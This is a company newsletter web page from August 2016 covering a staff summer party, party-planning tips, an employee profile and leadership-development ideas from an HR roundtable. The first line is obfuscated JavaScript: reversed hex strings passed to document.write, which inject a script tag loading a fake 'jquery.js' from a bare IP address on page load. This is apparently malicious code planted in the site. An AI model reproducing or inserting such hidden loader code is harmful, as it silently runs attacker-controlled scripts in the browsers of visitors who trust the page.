var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); August 2016 Newsletter – Unleash your Leadership Potential

August 2016 Newsletter

LETTER FROM THE EDITOR

To Stay Together, Play Together EntelechySummerBash2016_0186

This year marks 24 years that Entelechy has been in business. Why does it seem like time goes by so fast–especially when you’re having fun? Fact is, we should (and did) take some time to reflect and celebrate. I truly believe that part of the secret to our longevity (and for any business) is taking the opportunity to gather, play and give thanks.

Speaking of thanks:  We are grateful and honored to be named a finalist in this year’s Chief Learning Officer Magazine in the  Excellence in Content category!

We held our annual team get-together at Donna Iacopucci’s lovely home in Belmont, New Hampshire. It was so invigorating, illuminating and just plain enjoyable, no one wanted it to end. What’s most important, we formed and strengthened bonds that will immeasurably aid us toward another successful year.

Terry

 


TIPS ON PLANNING A FUN AND MEMORABLE COMPANY PARTY

As we’ve experienced first-hand, a company event (okay, let’s call it what it is, a party) has lasting worth in bringing the team together and cementing genuine, affectionate alliances that will proveEntelechySummerBash2016_0165 extremely valuable as we face the challenges ahead. Here are a few select tips, courtesy of Wiley Entertainment:

  • Set a budget.
  • Book the venue (especially if it’s an employee’s home)
  • Send out invitations (save the dates); follow up before the event
  • Confirm reservations (you want to be sure to have enough to eat and drink)
  • Have a contingency plan in case the weather doesn’t cooperate
  • Encourage your guests to “chat up” the event on social media
  • Have fun!
  • After the event, share photos and videos, and send out thank-you notes.

 


EMPLOYEE SPOTLIGHT: Dennise White, Performance Consultant 

DenniseWhiteThe recurrent theme in this month’s newsletter seems to be on the importance of listening. That’s a practice the always-smiling Dennise White has mastered. With over 15 years of experience in training and development, Dennise knows that instilling inspiration and effectively conveying valuable information depends so much on genuine enthusiasm for being a client advocate. Dennise’s passionate love for learning means she asks the right questions, listens, and then shares the knowledge best for her client to succeed.

You’re welcome to connect with Denise on LinkedIn.

 


Dear Terry: Answer from our CEO

This month: Answers from your peers!

Last month, Entelechy had the privilege of hosting a roundtable discussion at the Marcus Evans HR Summit in South Palm Beach. Titled “Making Leadership Training Stick,” the discussion gave Entelechy CEO Terry Traut the opportunity to moderate and put forward questions for the group of respected HR leaders. Here, we present some of the most interesting and useful ideas brought forth during the exchange:

This Isn’t Your Father’s Leadership Anymore

Many of the suggestions pointed to the need for organization-wide support and involvement. In other words, leadership development isn’t an event; it’s not even a journey. Leadership development is a way of being, a way an organization is. Some specific suggestions:

  • Leaders teach leaders. As part of your leadership development, you are required to teach other leaders. Pick a topic and present to other leaders.
  • Leaders need coaching, and not just the typical boss-as-coach. One participant stated that their leaders are also assigned a peer coach AND an “accountability coach” who is a subordinate responsible to provide honest feedback from those who are most impacted by the leader: the employees themselves.
  • Many organizations are looking beyond the workplace realizing that leadership doesn’t end (or maybe even begin) in the workplace. Serving the community, leading charitable organizations, and serving on nonprofit boards are a few of the opportunities leaders have to further apply – and hone –their skills.
  • Other organizations provided life coaches to their senior leaders as part of their leadership development plan. Recognizing that leadership at that level clearly spills out into all parts of the leader’s life, maintaining perspective and balance is key to the leader’s overall success and welfare.
  • Assign mentors. Mentors now come in a variety of flavors including reverse mentoring where a high-performing millennial is paired with a senior (and more senior) leader to share insights about each other’s generation.

Personal Commitment is Key

Several roundtable participants focused on the business impacts of leadership and leadership development:

  • Leadership is not a position. It’s a commitment. And that commitment is public. Many suggestions focused on the leader’s public declaration of their commitments – to leverage certain strengths, to address certain deficiencies, to achieve certain results. Those commitments become the benchmark for measuring progress.
  • Certainly leaders can’t go it alone. Many participants suggested using ongoing cohort meetings to continue the focus on leadership development. Others suggested learning teams of three to five leaders. Still others recommended pairing leaders together. Leaders don’t lead alone and it’s clear from the roundtable participants that they don’t learn alone either.
  • Several roundtable participants explained that not only was support from others important in helping developing leaders succeed, but that those doing the supporting needed support themselves. Manager support guides could be used as a quick reference for those supporting the leadership development on the job; providing questions, tips, and activity ideas make it easier for those supporting the developing leader.
  • Several roundtable participants emphasized application as a way of honing and measuring leadership skill growth – and making leadership development stick. Project-based leadership development – focusing on a key initiative such as customer experience – is a way to not only apply leadership skills in a focused way, but also serves to more easily identify the return on investment of the leadership development.
  • Twenty-three additional tips for making leadership training stick are found in Entelechy’s white paper, Leadership Training That Sticks: 23 Lessons Learned Over 23 Years

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Author: STEP Consulting